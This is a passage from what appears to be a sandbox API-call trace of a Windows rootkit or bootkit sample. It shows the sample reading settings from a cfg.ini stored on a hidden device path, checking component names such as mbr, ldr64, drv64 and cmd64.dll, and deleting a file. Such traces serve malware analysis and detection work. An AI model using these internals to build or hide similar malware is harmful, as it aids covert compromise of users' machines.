_Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.992] KeEnterCriticalRegion () [0117.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.992] ExFreePoolWithTag (P=0xfffffa8003aa6120, Tag=0x0) [0117.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.992] KeLeaveCriticalRegion () [0117.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.992] ReleaseMutex (hMutex=0xf0) returned 1 [0117.992] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.992] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.992] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.992] KeEnterCriticalRegion () [0117.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.992] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.992] IdePortDispatch () returned 0x103 [0117.992] KeWaitForMutexObject () returned 0x0 [0117.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.992] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.992] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.992] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.992] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.992] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af83d0 [0117.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.992] KeLeaveCriticalRegion () [0117.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.993] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.993] KeEnterCriticalRegion () [0117.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.993] KeLeaveCriticalRegion () [0117.993] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.993] KeEnterCriticalRegion () [0117.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.993] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.993] IdePortDispatch () returned 0x103 [0117.993] KeWaitForMutexObject () returned 0x0 [0117.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.993] KeLeaveCriticalRegion () [0117.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.993] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.993] KeEnterCriticalRegion () [0117.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0117.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.994] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.994] IdePortDispatch () returned 0x103 [0117.994] KeWaitForMutexObject () returned 0x0 [0117.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.994] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.994] IdePortDispatch () returned 0x103 [0117.994] KeWaitForMutexObject () returned 0x0 [0117.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.994] KeLeaveCriticalRegion () [0117.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.995] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.995] KeEnterCriticalRegion () [0117.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.995] KeLeaveCriticalRegion () [0117.995] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.995] KeEnterCriticalRegion () [0117.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.995] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.995] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.995] KeLeaveCriticalRegion () [0117.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.996] KeEnterCriticalRegion () [0117.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.996] ExFreePoolWithTag (P=0xfffffa8003af83d0, Tag=0x0) [0117.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.996] KeLeaveCriticalRegion () [0117.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.996] ReleaseMutex (hMutex=0xf0) returned 1 [0117.996] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.996] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.996] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.996] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.996] KeEnterCriticalRegion () [0117.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.996] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.996] IdePortDispatch () returned 0x103 [0117.996] KeWaitForMutexObject () returned 0x0 [0117.996] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.996] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.996] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.996] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.996] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.996] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.997] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.997] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.997] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.997] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.997] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.997] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.997] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.997] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.997] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.997] KeLeaveCriticalRegion () [0117.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.997] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.997] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.997] KeEnterCriticalRegion () [0117.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.997] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.997] IdePortDispatch () returned 0x103 [0117.997] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.997] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.997] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.997] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.997] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.997] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.997] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.997] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.998] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.998] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.998] KeLeaveCriticalRegion () [0117.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.998] ReleaseMutex (hMutex=0x100) returned 1 [0117.998] Sleep (dwMilliseconds=0x2bf20) [0118.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x698999b0, dwHighDateTime=0x1d24fa4)) [0118.007] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.007] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.007] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.007] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.007] KeEnterCriticalRegion () [0118.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.007] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.007] IdePortDispatch () returned 0x103 [0118.007] KeWaitForMutexObject () returned 0x0 [0118.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.008] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.008] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.008] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.008] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.008] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6120 [0118.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.008] KeLeaveCriticalRegion () [0118.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.008] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.008] KeEnterCriticalRegion () [0118.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.008] KeLeaveCriticalRegion () [0118.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.008] KeEnterCriticalRegion () [0118.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.008] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.008] IdePortDispatch () returned 0x103 [0118.008] KeWaitForMutexObject () returned 0x0 [0118.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.009] KeLeaveCriticalRegion () [0118.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.009] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.009] KeEnterCriticalRegion () [0118.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0118.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.009] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.009] IdePortDispatch () returned 0x103 [0118.009] KeWaitForMutexObject () returned 0x0 [0118.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.009] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.009] IdePortDispatch () returned 0x103 [0118.010] KeWaitForMutexObject () returned 0x0 [0118.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.010] KeLeaveCriticalRegion () [0118.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.010] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.010] KeEnterCriticalRegion () [0118.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.010] KeLeaveCriticalRegion () [0118.010] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.010] KeEnterCriticalRegion () [0118.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.011] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d17d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.011] KeLeaveCriticalRegion () [0118.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.011] KeEnterCriticalRegion () [0118.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.011] ExFreePoolWithTag (P=0xfffffa8003aa6120, Tag=0x0) [0118.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.011] KeLeaveCriticalRegion () [0118.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.011] ReleaseMutex (hMutex=0xf0) returned 1 [0118.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.011] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.011] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.011] KeEnterCriticalRegion () [0118.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.011] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.011] IdePortDispatch () returned 0x103 [0118.011] KeWaitForMutexObject () returned 0x0 [0118.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.012] KeLeaveCriticalRegion () [0118.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.012] KeEnterCriticalRegion () [0118.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.012] KeLeaveCriticalRegion () [0118.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.012] KeEnterCriticalRegion () [0118.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.012] IdePortDispatch () returned 0x103 [0118.012] KeWaitForMutexObject () returned 0x0 [0118.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.013] KeLeaveCriticalRegion () [0118.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.013] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.013] KeEnterCriticalRegion () [0118.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.013] 